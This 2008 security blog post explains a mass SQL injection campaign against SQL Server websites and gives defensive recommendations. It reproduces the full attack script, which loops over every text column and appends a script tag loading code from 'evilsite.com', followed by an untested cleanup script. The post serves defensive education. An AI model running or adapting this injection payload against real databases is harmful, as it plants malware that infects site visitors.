Wednesday, April 30, 2008

Mass Web Server Hack through SQL Injection

Mass Web Server Hack through SQL Injection:

There's another round of mass SQL injections going on which has infected hundreds of thousands of websites, what happens after a site is infected is well understood; when a visitor reaches one of the hacked sites, malicious JavaScript loads an IFrame from a malware-hosting server and the IFrame redirects the browser to a different page, also hosted on the hacker's server. Next, a multiple-strike attack kit is downloaded to the visitor's PC. The kit tries eight different exploits, and if it finds one that works, it hijacks the system.

What is a SQL injection – It is an attack that exploits vulnerabilities in input validation to run arbitrary commands in the database. Your code is vulnerable to SQL injection attacks wherever it uses input parameters to construct SQL statements. A SQL injection attack occurs when un-trusted input / user controllable input can modify the logic of a SQL query in unexpected ways. It can also occur if your code uses stored procedures that are passed strings that contain unfiltered/un-sanitized user input. Please refer to my previous post on SQL injection for mre details.

Here, the problem is with poor coding practices during the development. So, who should be blamed for this? Web developers are responsible for this infection as this exploit is using SQL injection vulnerability to infect the web sites. Also the employers are responsible for not mandating proper security education and for not implementing proper security policies.
The below complex procedural statement is the exploit code capable of polluting any SQL Server database in a generic way, with no need of knowing the specific table and fields layouts:

[Courtesy: Giorgio - http://hackademix.net]
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR
FOR select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+
''<script src=http://evilsite.com/1.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor;


You could try to recover by brutally reversing the SQL attack:

DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR
FOR select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec('update ['+@T+'] set ['+@C+']=reverse(right(reverse(['+@C+']),
patindex(''%tpircs<%'', reverse(['+@C+']))+7))
where ['+@C+'] like ''<script%</script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor;


This SQL procedure walks through your tables and fields, just like its evil prototype, but rather than appending the malicious JavaScript with:

exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://evilsite.com/1.js></script>''')

it locates and removes it with:

exec('update ['+@T+'] set ['+@C+']=reverse(right(reverse(['+@C+']),patindex(''%tpircs<%'', reverse(['+@C+']))+7))where ['+@C+'] like ''<script%</script>''')

Please note that the above code is not tested: use it at your own risk, after doing a backup of your data.

Recommendations for defending from this vulnerability:

  1. Avoid usage of dynamic SQL; consider using parameters passed to stored procedures instead of dynamic SQL. Parameters passed to a stored procedure are generally much safer than using dynamic SQL.
  2. Perform Input Validation on all inputs constraining the input in terms of length, character set, and format, so that application accepts only valid characters. Please refer to my post Assume all input is malicious until proven otherwise on input validation for more details.
  3. Do not rely on client-side code to validate input, as it can be bypassed by attackers.
  4. Use a white list approach to validate the inputs.
  5. Along with input validation consider sanitizing the input that they do not contain dangerous codes as a defense in depth strategy.
  6. Limit database permissions and segregate users.
  7. Lockdown the server: Run Database server service on a least privileged account and use least privileged account to connect to the database from the application.
  8. Isolate the web server.
  9. Display only generic error messages to the users of the application, implement proper error handling and fail safely in case of any failure.

Conclusion:

I believe that web application developers often simply do not think about "surprise and malicious inputs", they generally focus only on application functionality rather than security, but attackers and security people do, so it is always a good practice to implement security best practices while developing and designing the applications to develop robust and secure applications.
It is always a better idea to scan your code for vulnerabilities before shipping it to the production environment. Automated scanning tools won’t give you a hundred percent results. So, code review is the best option to find such vulnerabilities in the code and automated scanning tools can be an added advantage in performing this task.